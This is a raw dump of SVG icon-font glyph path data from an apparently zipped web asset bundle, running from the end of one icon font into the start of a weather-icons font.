    <glyph glyph-name="106-right-and-left"
      unicode="&#xF16A;"
      horiz-adv-x="300" d="M70.171875 137.690625C73.8375 134.025 78.628125 132.196875 83.428125 132.196875S93.01875 134.025 96.684375 137.690625C104.00625 145.0125 104.00625 156.88125 96.684375 164.203125L64.0125 196.875H214.678125C225.028125 196.875 233.428125 205.275 233.428125 215.625S225.028125 234.375 214.678125 234.375H64.0125L96.684375 267.046875C104.00625 274.36875 104.00625 286.2375 96.684375 293.559375S77.49375 300.88125 70.171875 293.559375L5.49375 228.88125C-1.828125 221.559375 -1.828125 209.690625 5.49375 202.36875zM229.828125 162.309375C222.50625 169.63125 210.6375 169.63125 203.315625 162.309375S195.99375 143.11875 203.315625 135.796875L235.9875 103.125H85.321875C74.971875 103.125 66.571875 94.725 66.571875 84.375S74.971875 65.625 85.321875 65.625H235.9875L203.315625 32.953125C195.99375 25.63125 195.99375 13.7625 203.315625 6.440625C206.98125 2.775 211.771875 0.946875 216.571875 0.946875S226.1625 2.775 229.8281250000001 6.440625L294.50625 71.11875C301.8281250000001 78.440625 301.8281250000001 90.309375 294.50625 97.63125z" />
    <glyph glyph-name="107-exchange-2"
      unicode="&#xF16B;"
      horiz-adv-x="300" d="M81 129L60 150L0 89.9999999999999L60 29.9999999999999L81 50.9999999999999L57 74.9999999999999H300V104.9999999999999H57zM219 171L240 150L300 210L240 270L219 249L243.0000000000001 225H0V195H243.0000000000001z" />
    <glyph glyph-name="108-shopping-cart-3"
      unicode="&#xF16C;"
      horiz-adv-x="300" d="M100.001220703125 50.00244140625C86.205322265625 50.00244140625 75 38.8198242187501 75 24.99755859375C75 11.205322265625 86.205322265625 0 100.001220703125 0C113.808837890625 0 124.998779296875 11.205322265625 124.998779296875 24.99755859375C124.998779296875 38.81982421875 113.808837890625 50.00244140625 100.001220703125 50.00244140625zM212.501220703125 50.00244140625C198.693603515625 50.00244140625 187.5 38.8198242187501 187.5 24.99755859375C187.5 11.205322265625 198.693603515625 0 212.501220703125 0C226.308837890625 0 237.498779296875 11.205322265625 237.498779296875 24.99755859375C237.498779296875 38.81982421875 226.3088378906251 50.00244140625 212.501220703125 50.00244140625zM300 250.001220703125H229.9914550781251C224.193603515625 278.527587890625 198.986572265625 300 168.75 300C138.513427734375 300 113.306396484375 278.527587890625 107.508544921875 250.001220703125H57.896484375L53.90625 275.3173828125C51.75732421875 288.892822265625 38.756103515625 300 25.001220703125 300H0V274.998779296875H28.638427734375L60.2431640625 74.849853515625C61.3154296875 68.058837890625 67.822265625 62.493896484375 74.6953125 62.493896484375H274.9980468750001V87.498779296875H83.5576171875L79.604736328125 112.5H274.998779296875L300 250.001220703125zM135.59619140625 257.384765625L148.864013671875 270.648193359375L168.75 250.758544921875L188.635986328125 270.648193359375L201.90380859375 257.384765625L182.006103515625 237.498779296875L201.90380859375 217.61279296875L188.635986328125 204.349365234375L168.75 224.24267578125L148.864013671875 204.35302734375L135.59619140625 217.616455078125L155.493896484375 237.50244140625L135.59619140625 257.384765625zM254.1408691406251 137.49755859375H75.659912109375L61.84130859375 225H107.508544921875C113.306396484375 196.4736328125 138.513427734375 174.99755859375 168.75 174.99755859375C198.986572265625 174.99755859375 224.193603515625 196.4736328125 229.991455078125 225H270.04541015625L254.1408691406251 137.49755859375z" />
    <glyph glyph-name="109-shop"
      unicode="&#xF16D;"
      horiz-adv-x="300" d="M213.1385369840622 138.322435635472H172.3743359215366C161.2178177360033 138.322435635472 152.1454842664487 129.2501021659174 152.1454842664487 118.0935839803841V86.8308132407029C152.1454842664487 75.6742950551696 161.2178177360033 66.601961585615 172.3743359215366 66.601961585615H213.1385369840622C224.2950551695954 66.601961585615 233.36738863915 75.6742950551696 233.36738863915 86.8308132407029V118.0935839803841C233.36738863915 129.2501021659174 224.2950551695954 138.322435635472 213.1385369840622 138.322435635472zM218.6554965263588 86.8308132407029C218.6554965263588 83.7658357172047 216.1422149570903 81.3138536984062 213.1385369840622 81.3138536984062H172.3743359215366C169.3093583980384 81.3138536984062 166.8573763792399 83.8271352676747 166.8573763792399 86.8308132407029V118.0935839803841C166.8573763792399 121.1585615038823 169.3706579485084 123.6105435226808 172.3743359215366 123.6105435226808H213.1385369840622C216.2035145075603 123.6105435226808 218.6554965263588 121.0972619534123 218.6554965263588 118.0935839803841V86.8308132407029zM300 195.1471189211279C300 196.4344094809971 299.6935022476502 197.6604004903964 299.0192071924806 198.7637923988558L254.3931344503474 277.2272170004087C253.1058438904782 279.4953003677973 250.6538618716796 280.9664895790765 248.0179812014712 280.9664895790765H51.9207192480589C49.2848385778504 280.9664895790765 46.8328565590519 279.5565999182673 45.5455659991827 277.2272170004087L0.9807928075194 198.7637923988558C0.3677973028198 197.6604004903964 0 196.4344094809971 0 195.1471189211279C0 177.5541479362485 10.6048222313036 162.4744585206375 25.7458111973846 155.7928075194115V26.3894564773191C25.7458111973846 22.3436861463015 29.0559869227626 19.0335104209236 33.1017572537801 19.0335104209236H73.7433592153658C73.8046587658357 19.0335104209236 73.8659583163057 19.0335104209236 73.9272578667756 19.0335104209236H130.9358398038414C130.9971393543114 19.0335104209236 131.0584389047814 19.0335104209236 131.1197384552513 19.0335104209236H266.8369431957499C270.8827135267675 19.0335104209236 274.1928892521455 22.3436861463015 274.1928892521455 26.3894564773191V154.8733142623621C274.1928892521455 155.1798120147119 274.1928892521455 155.4250102165917 274.1315897016755 155.6702084184716C289.3338782182264 162.3518594196976 300 177.4928483857785 300 195.1471189211279zM56.2116877809563 266.1932979158153H243.7270126685738L278.6064568859828 204.8324478953821H21.3935431140172L56.2116877809563 266.1932979158153zM213.5063342868819 190.1818553330609C211.1769513690233 176.9411524315488 199.5913363302003 166.8880261544749 185.6763383735186 166.8880261544749C171.761340416837 166.8880261544749 160.1757253780139 176.9411524315488 157.8463424601554 190.1818553330609H213.5063342868819zM142.2149570903147 190.1818553330609C139.8855741724561 176.9411524315488 128.2999591336331 166.8880261544749 114.3849611769514 166.8880261544749S88.8843481814467 176.9411524315488 86.4936657131181 190.1818553330609H142.2149570903147zM15.2022885165509 190.1818553330609H70.9235798937475C68.5941969758889 176.9411524315488 56.9472823865958 166.8880261544749 43.0322844299142 166.8880261544749C29.1172864732325 166.8267266040049 17.5316714344095 176.9411524315488 15.2022885165509 190.1818553330609zM123.5798937474459 33.7454025337147H81.2832039231712V113.1283203923171C81.2832039231712 118.8904781364936 85.9419697588884 123.6105435226808 91.765427053535 123.6105435226808H113.1589701675521C118.9211279117287 123.6105435226808 123.6411932979158 118.9517776869636 123.6411932979158 113.1283203923171V33.7454025337147H123.5798937474459zM259.4809971393544 33.7454025337147H138.2917858602371V113.1283203923171C138.2917858602371 126.9820187985288 127.0126685737638 138.322435635472 113.0976706170822 138.322435635472H91.704127503065C77.8504290968533 138.322435635472 66.5100122599101 127.0433183489988 66.5100122599101 113.1283203923171V33.6841029832447H40.4577033101757V152.1761340416837C41.3158970167552 152.1148344912137 42.1740907233347 152.1148344912137 43.0322844299142 152.1148344912137C57.8667756436453 152.1148344912137 70.9848794442174 159.6546791990192 78.7086228034328 171.1176951369023C86.4323661626482 159.6546791990192 99.5504699632203 152.1148344912137 114.3849611769514 152.1148344912137S142.2762566407847 159.6546791990192 150.06129955047 171.1176951369023C157.7850429096854 159.6546791990192 170.9031467102575 152.1148344912137 185.6763383735186 152.1148344912137C200.5108295872497 152.1148344912137 213.5676338373519 159.6546791990192 221.2913771965673 171.1176951369023C229.0151205557827 159.6546791990192 242.1332243563548 152.1148344912137 256.9677155700859 152.1148344912137C257.8259092766654 152.1148344912137 258.6228034327749 152.1761340416837 259.4809971393544 152.1761340416837L259.4809971393544 33.7454025337147L259.4809971393544 33.7454025337147zM256.9677155700859 166.8267266040049C243.0527176134042 166.8267266040049 231.4671025745812 176.8798528810789 229.1377196567226 190.1205557825909H284.8590110339192C282.4683285655906 176.9411524315488 270.8827135267675 166.8267266040049 256.9677155700859 166.8267266040049z" />
    <glyph glyph-name="110-home"
      unicode="&#xF16E;"
      horiz-adv-x="300" d="M296.8095703125 178.0875L154.6048828125 282.2068359375C151.8626953125 284.2142578125 148.1373046875 284.2142578125 145.3962890625 282.2068359375L3.1904296875 178.0875C-0.2830078125 175.5439453125 -1.0376953125 170.6666015625 1.505859375 167.1931640625S8.92734375 162.9662109375 12.4001953125 165.50859375L150 266.25703125L287.5998046875 165.5091796875C288.9873046875 164.492578125 290.5998046875 164.0033203125 292.1982421875 164.0033203125C294.5982421875 164.0033203125 296.9666015625 165.1078125 298.4935546875 167.19375C301.0376953125 170.6666015625 300.2830078125 175.5439453125 296.8095703125 178.0875zM259.128515625 163.7443359375C254.82421875 163.7443359375 251.3337890625 160.2544921875 251.3337890625 155.949609375V31.8779296875H188.9771484375V99.6041015625C188.9771484375 121.0962890625 171.4916015625 138.5806640625 150.0005859375 138.5806640625S111.0240234375 121.0951171875 111.0240234375 99.6041015625V31.87734375H48.666796875V155.9490234375C48.666796875 160.25390625 45.1763671875 163.74375 40.8720703125 163.74375S33.07734375 160.25390625 33.07734375 155.9490234375V24.08203125C33.07734375 19.7771484375 36.5677734375 16.2873046875 40.8720703125 16.2873046875H118.81875C122.91796875 16.2873046875 126.2724609375 19.454296875 126.5830078125 23.475C126.6017578125 23.6572265625 126.6134765625 23.8564453125 126.6134765625 24.08203125V99.603515625C126.6134765625 112.4994140625 137.1046875 122.990625 150.0005859375 122.990625S173.3876953125 112.498828125 173.3876953125 99.603515625V24.08203125C173.3876953125 23.8576171875 173.3994140625 23.6619140625 173.4181640625 23.48203125C173.7251953125 19.4583984375 177.080859375 16.2873046875 181.182421875 16.2873046875H259.1291015625C263.433984375 16.2873046875 266.923828125 19.7771484375 266.923828125 24.08203125V155.9490234375C266.9232421875 160.2544921875 263.4333984375 163.7443359375 259.128515625 163.7443359375z" />
    <glyph glyph-name="111-user-1"
      unicode="&#xF16F;"
      horiz-adv-x="300" d="M256.06640625 106.06640625C239.7287109375 122.403515625 220.2826171875 134.4978515625 199.0658203125 141.819140625C221.7896484375 157.4701171875 236.71875 183.66328125 236.71875 213.28125C236.71875 261.0978515625 197.8166015625 300 150 300S63.28125 261.0978515625 63.28125 213.28125C63.28125 183.66328125 78.2103515625 157.4701171875 100.934765625 141.819140625C79.71796875 134.4978515625 60.271875 122.403515625 43.9341796875 106.06640625C15.6029296875 77.7345703125 0 40.06640625 0 0H23.4375C23.4375 69.7869140625 80.2130859375 126.5625 150 126.5625S276.5625 69.7869140625 276.5625 0H300C300 40.06640625 284.3970703125 77.7345703125 256.06640625 106.06640625zM150 150C115.1068359375 150 86.71875 178.3875 86.71875 213.28125S115.1068359375 276.5625 150 276.5625C184.8931640625 276.5625 213.28125 248.175 213.28125 213.28125S184.8931640625 150 150 150z" />
    <glyph glyph-name="112-gallery"
      unicode="&#xF170;"
      horiz-adv-x="300" d="M283.76953125 249.66796875L56.66015625 265.6640625C52.3828125 265.95703125 48.6328125 262.734375 48.33984375 258.45703125L46.0546875 226.23046875H16.7578125C12.48046875 226.23046875 8.96484375 222.7734375 8.96484375 218.4375V42.0703125C8.96484375 37.7929687499999 12.421875 34.2773437499999 16.7578125 34.2773437499999H244.453125C248.73046875 34.2773437499999 252.24609375 37.7343749999999 252.24609375 42.0703125V59.47265625L270.3515625 58.18359375H270.87890625C274.921875 58.18359375 278.3203125 61.2890625 278.61328125 65.390625L290.9765625 241.40625C291.26953125 245.68359375 288.046875 249.375 283.76953125 249.66796875zM236.66015625 210.703125V93.57421875L191.19140625 126.9140625C188.4375 128.96484375 184.6875 128.90625 181.93359375 126.85546875L139.921875 95.33203125L81.03515625 145.83984375C78.1640625 148.30078125 73.88671875 148.359375 70.95703125 145.83984375L24.609375 106.5234375V210.703125zM24.55078125 86.1328125L75.9375 129.66796875L169.04296875 49.86328125H24.55078125zM192.890625 49.86328125L151.9921875 84.90234375L186.62109375 110.859375L236.6015625 74.23828125V49.86328125zM263.61328125 74.296875L252.1875 75.1171875V218.4375C252.1875 222.71484375 248.73046875 226.23046875 244.39453125 226.23046875H61.69921875L63.33984375 249.609375L274.921875 234.7265625zM183.22265625 142.67578125C198.3984375 142.67578125 210.76171875 155.0390625 210.76171875 170.21484375S198.3984375 197.75390625 183.22265625 197.75390625S155.68359375 185.390625 155.68359375 170.21484375S168.046875 142.67578125 183.22265625 142.67578125zM183.22265625 182.16796875C189.84375 182.16796875 195.17578125 176.77734375 195.17578125 170.21484375C195.17578125 163.59375 189.78515625 158.26171875 183.22265625 158.26171875C176.6015625 158.26171875 171.26953125 163.65234375 171.26953125 170.21484375C171.26953125 176.8359375 176.6015625 182.16796875 183.22265625 182.16796875z" />
    <glyph glyph-name="113-megaphone"
      unicode="&#xF171;"
      horiz-adv-x="300" d="M278.4375 201.5625C259.6875 252.1875 225.9375 287.8125 195.9375 287.8125C191.25 287.8125 187.5 286.875 183.75 285.9375C175.3125 283.125 167.8125 276.5625 163.125 268.125C106.875 204.375 29.0625 175.3125 28.125 175.3125C9.375 168.75 3.75 138.75 15.9375 105.9375C26.25 77.8125 45 60 61.875 60C63.75 60 66.5625 60 68.4375 60.9375S80.625 63.75 99.375 66.5625L118.125 27.1875C119.0625 25.3125 120.9375 23.4375000000001 123.75 22.5L153.75 12.1875C154.6875 12.1875 155.625 11.25 156.5625 11.25C158.4375 11.25 160.3125 12.1875 162.1875 13.125C165 15 165.9375 18.75 165.9375 21.5625L159.375 75C182.8125 76.875 209.0625 77.8125 235.3125 75.9375H237.1875C240.9375 75 244.6875 74.0625 248.4375 74.0625C253.125 74.0625 256.875 75 260.625 75.9375C276.5625 81.5625 287.8125 99.375 290.625 124.6875C292.5 147.1875 288.75 175.3125 278.4375 201.5625zM133.125 39.375L119.0625 70.3125L140.625 73.125L145.3125 35.625zM200.625 129.375C194.0625 139.6875 187.5 151.875 181.875 166.875C177.1875 180.9375 173.4375 194.0625 172.5 207.1875C175.3125 207.1875 179.0625 204.375 182.8125 201.5625C189.375 195 195.9375 184.6875 199.6875 173.4375C207.1875 151.875 205.3125 135 200.625 129.375zM63.75 78.75C62.8125 78.75 62.8125 78.75 62.8125 78.75C56.25 76.875 42.1875 89.0625 32.8125 112.5C24.375 135.9375 28.125 155.625 33.75 157.5C36.5625 158.4375 97.5 180.9375 152.8125 231.5625C151.875 210 155.625 184.6875 164.0625 160.3125C174.375 133.125 188.4375 110.625 204.375 94.6875C131.25 95.625 66.5625 79.6875 63.75 78.75zM270.9375 126.5625C269.0625 108.75 262.5 97.5 253.125 93.75C251.25 92.8125 249.375 92.8125 247.5 92.8125C237.1875 92.8125 225 100.3125 211.875 115.3125C225 126.5625 227.8125 151.875 217.5 180C211.875 194.0625 204.375 206.25 195.9375 214.6875C188.4375 222.1875 180 225.9375 171.5625 225.9375C171.5625 229.6875 171.5625 232.5 172.5 235.3125C174.375 253.125 180.9375 264.375 190.3125 268.125C192.1875 269.0625 194.0625 269.0625 195.9375 269.0625C214.6875 269.0625 243.75 240.9375 260.625 195C270 171.5625 273.75 146.25 270.9375 126.5625z" />
    <glyph glyph-name="114-news"
      unicode="&#xF172;"
      horiz-adv-x="300" d="M289.2732421875 300H10.7267578125C4.80234375 300 0 295.19765625 0 289.2732421875V10.72734375C0 4.80234375 4.80234375 0 10.7267578125 0H289.27265625C295.201171875 0 300 4.798828125 300 10.7267578125V289.2732421875C300 295.19765625 295.19765625 300 289.2732421875 300zM278.5458984375 21.4541015625H21.4541015625V278.5458984375H278.5458984375V21.4541015625zM149.8212890625 246.7224609375H51.48984375C45.56484375 246.7224609375 40.7630859375 241.9201171875 40.7630859375 235.995703125V155.54296875C40.7630859375 149.621484375 45.5654296875 144.8162109375 51.48984375 144.8162109375H149.8212890625C155.7462890625 144.8162109375 160.548046875 149.6185546875 160.548046875 155.54296875V235.9951171875C160.548046875 241.9201171875 155.7462890625 246.7224609375 149.8212890625 246.7224609375zM139.0939453125 166.269140625H62.2171875V225.268359375H139.09453125V166.269140625zM241.0013671875 246.7224609375H190.941796875C185.016796875 246.7224609375 180.2150390625 241.9201171875 180.2150390625 235.995703125C180.2150390625 230.070703125 185.0173828125 225.2689453125 190.941796875 225.2689453125H241.0013671875C246.9298828125 225.2689453125 251.7281250000001 230.0712890625 251.7281250000001 235.995703125C251.728125 241.9201171875 246.9263671875 246.7224609375 241.0013671875 246.7224609375zM241.0013671875 203.8142578125H190.941796875C185.016796875 203.8142578125 180.2150390625 199.0119140625 180.2150390625 193.0875S185.0173828125 182.3607421875 190.941796875 182.3607421875H241.0013671875C246.9298828125 182.3607421875 251.7281250000001 187.1630859375 251.7281250000001 193.0875S246.9263671875 203.8142578125 241.0013671875 203.8142578125zM241.0013671875 160.9060546875H190.941796875C185.016796875 160.9060546875 180.2150390625 156.1001953125 180.2150390625 150.179296875S185.0173828125 139.4525390625 190.941796875 139.4525390625H241.0013671875C246.9298828125 139.4525390625 251.7281250000001 144.2548828125 251.7281250000001 150.179296875S246.9263671875 160.9060546875 241.0013671875 160.9060546875zM241.0013671875 117.9978515625H51.48984375C45.56484375 117.9978515625 40.7630859375 113.1955078125 40.7630859375 107.27109375C40.7630859375 101.34609375 45.5654296875 96.5443359375 51.48984375 96.5443359375H241.0013671875C246.9298828125 96.5443359375 251.728125 101.3466796875 251.728125 107.27109375C251.728125 113.1955078125 246.9263671875 117.9978515625 241.0013671875 117.9978515625zM241.0013671875 75.0896484375H51.48984375C45.56484375 75.0896484375 40.7630859375 70.2873046875 40.7630859375 64.3623046875C40.7630859375 58.4373046875 45.5654296875 53.635546875 51.48984375 53.635546875H241.0013671875C246.9298828125 53.635546875 251.728125 58.437890625 251.728125 64.3623046875C251.728125 70.2873046875 246.9263671875 75.0896484375 241.0013671875 75.0896484375z" />
    <glyph glyph-name="115-newspaper"
      unicode="&#xF173;"
      horiz-adv-x="300" d="M247.265625 300H0V35.15625C0 15.769958203125 15.769958203125 0 35.15625 0H264.84375H264.84832734375C284.230041796875 0 300 15.769958203125 300 35.15625V158.7890625H247.265625zM35.15625 17.578125C25.4631041015625 17.578125 17.578125 25.4631041015625 17.578125 35.15625V282.421875H229.6875V35.15625C229.6875 28.7544251953125 231.4155580078125 22.7531431640625 234.4161984375 17.578125zM282.421875 141.2109375V35.15625C282.421875 25.4631041015625 274.5391845703125 17.578125 264.84375 17.578125C255.1506041015625 17.578125 247.265625 25.4631041015625 247.265625 35.15625V141.2109375zM282.421875 141.2109375M35.15625 193.9453125H212.109375V264.84375H35.15625zM52.734375 247.265625H194.53125V211.5234375H52.734375zM52.734375 247.265625M35.15625 176.3671875H123.6328125V158.7890625H35.15625zM35.15625 176.3671875M141.2109375 176.3671875H212.109375V158.7890625H141.2109375zM141.2109375 176.3671875M35.15625 141.2109375H123.6328125V123.6328125H35.15625zM35.15625 141.2109375M141.2109375 141.2109375H212.109375V123.6328125H141.2109375zM141.2109375 141.2109375M35.15625 106.0546875H123.6328125V88.4765625H35.15625zM35.15625 106.0546875M35.15625 70.8984375H123.6328125V53.3203125H35.15625zM35.15625 70.8984375M141.2109375 53.3203125H212.109375V106.0546875H141.2109375zM158.7890625 88.4765625H194.53125V70.8984375H158.7890625zM158.7890625 88.4765625" />
    <glyph glyph-name="116-add"
      unicode="&#xF174;"
      horiz-adv-x="300" d="M182.1428571428572 176.7857142857143C179.1843957589285 176.7857142857143 176.7857142857143 179.1843957589286 176.7857142857143 182.1428571428572V300H123.2142857142857V182.1428571428572C123.2142857142857 179.1843957589286 120.8156042410714 176.7857142857143 117.8571428571429 176.7857142857143H0V123.2142857142857H117.8571428571429C120.8156042410714 123.2142857142857 123.2142857142857 120.8156042410715 123.2142857142857 117.8571428571429V0H176.7857142857143V117.8571428571429C176.7857142857143 120.8156042410715 179.1843957589285 123.2142857142857 182.1428571428572 123.2142857142857H300V176.7857142857143zM182.1428571428572 176.7857142857143" />
    <glyph glyph-name="117-calculation-operations-minus-sign"
      unicode="&#xF175;"
      horiz-adv-x="300" d="M0 184.4502102531985H300V115.5632101637291H0V184.4502102531985z" />
    <glyph glyph-name="118-x-twitter"
      unicode="&#xF176;"
      horiz-adv-x="300" d="M228.046875 271.875H269.4140625L179.0625 168.6328125L285.3515625 28.125H202.1484375L136.93359375 113.3203125L62.40234375 28.125H20.9765625L117.59765625 138.57421875L15.703125 271.875H101.015625L159.90234375 194.00390625L228.046875 271.875zM213.515625 52.8515625H236.42578125L88.53515625 248.4375H63.92578125L213.515625 52.8515625z" />
    <glyph glyph-name="119-threads"
      unicode="&#xF177;"
      horiz-adv-x="300" d="M152.3232421875 0H152.237109375C107.4767578125 0.303515625 73.0669921875 15.0603515625 49.9470703125 43.8744140625C29.366015625 69.512109375 18.7564453125 105.1857421875 18.4001953125 149.8916015625V150.1083984375C18.75703125 194.8248046875 29.366015625 230.4884765625 49.9470703125 256.1255859375001C73.055859375 284.9396484375001 107.4767578125 299.69765625 152.2259765625 300.0000000000001H152.398828125C186.711328125 299.7732421875001 215.4169921875 290.9466796875 237.7265625000001 273.7898437500001C258.6966796875 257.6595703125 273.4552734375 234.6691406250001 281.6009765625 205.444921875L256.1044921875 198.3357421875001C242.30859375 247.8281250000001 207.3908203125 273.1306640625001 152.3126953125 273.5302734375001C115.9470703125 273.2712890625001 88.4513671875 261.8408203125001 70.571484375 239.5628906250001C53.825390625 218.7005859375001 45.1716796875 188.56875 44.858203125 150.0105468750001C45.1822265625 111.4412109375 53.8359375 81.309375 70.571484375 60.4576171875C88.451953125 38.180859375 115.9470703125 26.7509765625 152.3126953125 26.49140625C185.090625 26.7287109375 206.785546875 34.36640625 224.8283203125 52.041796875C245.419921875 72.21328125 245.0419921875 96.9533203125 238.4513671875 112.0025390625C234.573046875 120.8730468750001 227.527734375 128.2623046875 218.0314453125 133.8591796875001C215.644921875 116.9830078125 210.27421875 103.2843750000001 201.97734375 92.966015625C190.913671875 79.1917968750001 175.2275390625 71.6607421875001 155.36953125 70.5919921875C140.34140625 69.7822265625001 125.8646484375 73.3353515625001 114.6287109375 80.6068359375001C101.3396484375 89.2066406250001 93.561328125 102.3662109375001 92.729296875 117.6638671875001C91.9189453125 132.5402343750001 97.8181640625 146.2183593750001 109.334765625 156.1798828125001C120.3439453125 165.6978515625 135.8255859375 171.2830078125001 154.1162109375 172.3095703125001C167.59921875 173.066015625 180.2068359375 172.4712890625 191.8646484375 170.5271484375001C190.31953125 179.8078125000001 187.187109375 187.1648437500001 182.51953125 192.48046875C176.1017578125 199.7947265625001 166.173046875 203.532421875 153.0251953125 203.619140625H152.6578125C142.102734375 203.619140625 127.766015625 200.7240234375 118.6259765625 187.1326171875001L96.6621093749999 201.901171875C108.891796875 220.083984375 128.7603515625 230.08828125 152.647265625 230.08828125H153.1875C193.1291015625 229.83984375 216.9087890625 205.4126953125 219.2748046875 162.748828125C220.634765625 162.1751953125 221.96484375 161.5822265625 223.2826171874999 160.9658203125C241.91953125 152.2037109375 255.542578125 138.936328125 262.69453125 122.6009765625C272.6560546875 99.82734375 273.57421875 62.715234375 243.3345703124999 33.113671875C220.2357421874999 10.4912109375 192.1886718749999 0.28125 152.3988281249999 0.010546875H152.3126953124999L152.3232421874999 -0.0005859375zM164.855859375 146.143359375C161.8306640625 146.143359375 158.762109375 146.0572265625 155.628515625 145.8732421875C132.6708984375 144.5765625 118.36640625 134.0642578125 119.1767578125 119.090625C120.03046875 103.4033203125 137.337890625 96.111328125 153.9650390625 97.0072265625C169.273828125 97.829296875 189.196875 103.7818359375 192.534375 143.3888671875C184.08515625 145.1923828125 174.7951171875 146.143359375 164.8552734375 146.143359375z" />
    <glyph glyph-name="120-butterfly"
      unicode="&#xF178;"
      horiz-adv-x="300" d="M254.5734375 263.08125C209.559375 268.9640625 150.0375 153.6046875 150.0375 153.6046875S90.4359375 268.9640625 45.421875 263.08125C0.4125 257.278125 14.9203125 174.54375 22.2140625 144.590625C27.1546875 124.359375 51.3890625 117.8484375 83.38125 122.86875C70.284375 108.3609375 56.6390625 86.79375 62.6015625 63.2671875C73.03125 21.7828125 140.709375 29.625 150.0421875 81.61875C159.2953125 29.625 226.9734375 21.7828125 237.403125 63.2671875C243.3609375 86.79375 229.7953125 108.3609375 216.6234375 122.86875C248.7 117.8484375 272.9296875 124.359375 277.790625 144.590625C285.084375 174.5484375 299.5921875 257.2828125000001 254.578125 263.0859375z" />
    <glyph glyph-name="121-square"
      unicode="&#xF179;"
      horiz-adv-x="300" d="M297.0123046875001 8.0677734375L87.509765625 219.9251953125C85.669921875 221.784375 82.67109375 221.803125 80.811328125 219.96328125C78.9515625 218.1234375 78.9345703125 215.124609375 80.7732421875 213.26484375L282.29765625 9.474609375H242.5505859375V20.609765625C242.5505859375 23.2265625 240.4306640625001 25.346484375 237.8138671875 25.346484375S233.0771484375001 23.2265625 233.0771484375001 20.609765625V9.474609375H209.7216796875V20.609765625C209.7216796875 23.2265625 207.6005859375 25.346484375 204.9849609375 25.346484375C202.3681640625 25.346484375 200.2482421875 23.2265625 200.2482421875 20.609765625V9.474609375H176.8904296875V20.609765625C176.8904296875 23.2265625 174.7705078125 25.346484375 172.1537109375 25.346484375C169.5369140625 25.346484375 167.4169921875 23.2265625 167.4169921875 20.609765625V9.474609375H144.0615234375V20.609765625C144.0615234375 23.2265625 141.9404296875 25.346484375 139.3248046875 25.346484375S134.5880859375 23.2265625 134.5880859375 20.609765625V9.474609375H111.230859375V20.609765625C111.230859375 23.2265625 109.109765625 25.346484375 106.494140625 25.346484375S101.757421875 23.2265625 101.757421875 20.609765625V9.474609375H78.40078125V20.609765625C78.40078125 23.2265625 76.2796875 25.346484375 73.6640625 25.346484375C71.0478515625 25.346484375 68.92734375 23.2265625 68.92734375 20.609765625V9.474609375H45.56953125V20.609765625C45.56953125 23.2265625 43.4484375 25.346484375 40.8328125 25.346484375C38.2166015625 25.346484375 36.09609375 23.2265625 36.09609375 20.609765625V9.474609375H11.08828125V34.074609375H22.2234375C24.8396484375 34.074609375 26.96015625 36.19453125 26.96015625 38.811328125C26.96015625 41.428125 24.8390625 43.548046875 22.2234375 43.548046875H11.08828125V66.903515625H22.2234375C24.8396484375 66.903515625 26.96015625 69.0234375 26.96015625 71.640234375S24.8390625 76.376953125 22.2234375 76.376953125H11.08828125V99.734765625H22.2234375C24.8396484375 99.734765625 26.96015625 101.8546875 26.96015625 104.471484375S24.8390625 109.208203125 22.2234375 109.208203125H11.08828125V132.563671875H22.2234375C24.8396484375 132.563671875 26.96015625 134.684765625 26.96015625 137.300390625C26.96015625 139.9171875 24.8390625 142.037109375 22.2234375 142.037109375H11.08828125V165.39375H22.2234375C24.8396484375 165.39375 26.96015625 167.513671875 26.96015625 170.13046875C26.96015625 172.747265625 24.8390625 174.8671875 22.2234375 174.8671875H11.08828125V198.22265625H22.2234375C24.8396484375 198.22265625 26.96015625 200.34375 26.96015625 202.959375C26.96015625 205.576171875 24.8390625 207.69609375 22.2234375 207.69609375H11.08828125V231.05390625H22.2234375C24.8396484375 231.05390625 26.96015625 233.173828125 26.96015625 235.790625S24.8390625 240.52734375 22.2234375 240.52734375H11.08828125V283.73203125L69.7904296875 224.370703125C71.630859375 222.5103515625 74.6296875 222.4939453125 76.4888671875 224.3326171875C78.3486328125 226.1724609375 78.365625 229.1712890625 76.526953125 231.0310546875L9.71953125 298.5896484375C6.74765625 301.59375 1.6142578125 299.478515625 1.6142578125 295.25859375V4.73671875C1.6142578125 2.119921875 3.7353515625 0 6.3509765625 0H293.64375C297.8408203125 0 299.96484375 5.0830078125 297.0123046875001 8.0677734375zM133.8931640625 55.16015625C133.8931640625 52.543359375 136.0142578125 50.4234375 138.6298828125 50.4234375H171.9791015625C176.1755859375 50.4234375 178.2990234375 55.5064453125 175.3470703125 58.490625L59.5740234375 175.565625C56.6009765625 178.569140625 51.4693359375 176.4556640625 51.4693359375 172.23515625V55.1607421875C51.4693359375 52.5439453125 53.5904296875 50.4240234375 56.2060546875 50.4240234375H122.5248046875C125.141015625 50.4240234375 127.2615234375 52.5439453125 127.2615234375 55.1607421875C127.2615234375 57.7775390625 125.1404296875 59.8974609375 122.5248046875 59.8974609375H60.9427734375V160.70859375L160.6330078125001 59.8974609375H138.6298828125C136.013671875 59.896875 133.8931640625 57.7763671875 133.8931640625 55.16015625z" />
  </font>
</defs>
</svg>
PK     N\+&    fonts/weathericons.svgnu [        <?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" >
<svg xmlns="http://www.w3.org/2000/svg">
<metadata></metadata>
<defs>
<font id="weather_iconsregular" horiz-adv-x="1537" >
<font-face units-per-em="2048" ascent="1755" descent="-293" />
<missing-glyph horiz-adv-x="685" />
<glyph horiz-adv-x="0" />
<glyph horiz-adv-x="682" />
<glyph unicode=" "  horiz-adv-x="685" />
<glyph unicode="&#x09;" horiz-adv-x="685" />
<glyph unicode="&#xa0;" horiz-adv-x="685" />
<glyph unicode="&#x2000;" horiz-adv-x="1122" />
<glyph unicode="&#x2001;" horiz-adv-x="2245" />
<glyph unicode="&#x2002;" horiz-adv-x="1122" />
<glyph unicode="&#x2003;" horiz-adv-x="2245" />
<glyph unicode="&#x2004;" horiz-adv-x="748" />
<glyph unicode="&#x2005;" horiz-adv-x="561" />
<glyph unicode="&#x2006;" horiz-adv-x="374" />
<glyph unicode="&#x2007;" horiz-adv-x="374" />
<glyph unicode="&#x2008;" horiz-adv-x="280" />
<glyph unicode="&#x2009;" horiz-adv-x="449" />
<glyph unicode="&#x200a;" horiz-adv-x="124" />
<glyph unicode="&#x202f;" horiz-adv-x="449" />
<glyph unicode="&#x205f;" horiz-adv-x="561" />
<glyph unicode="&#x25fc;" horiz-adv-x="571" d="M0 0z" />
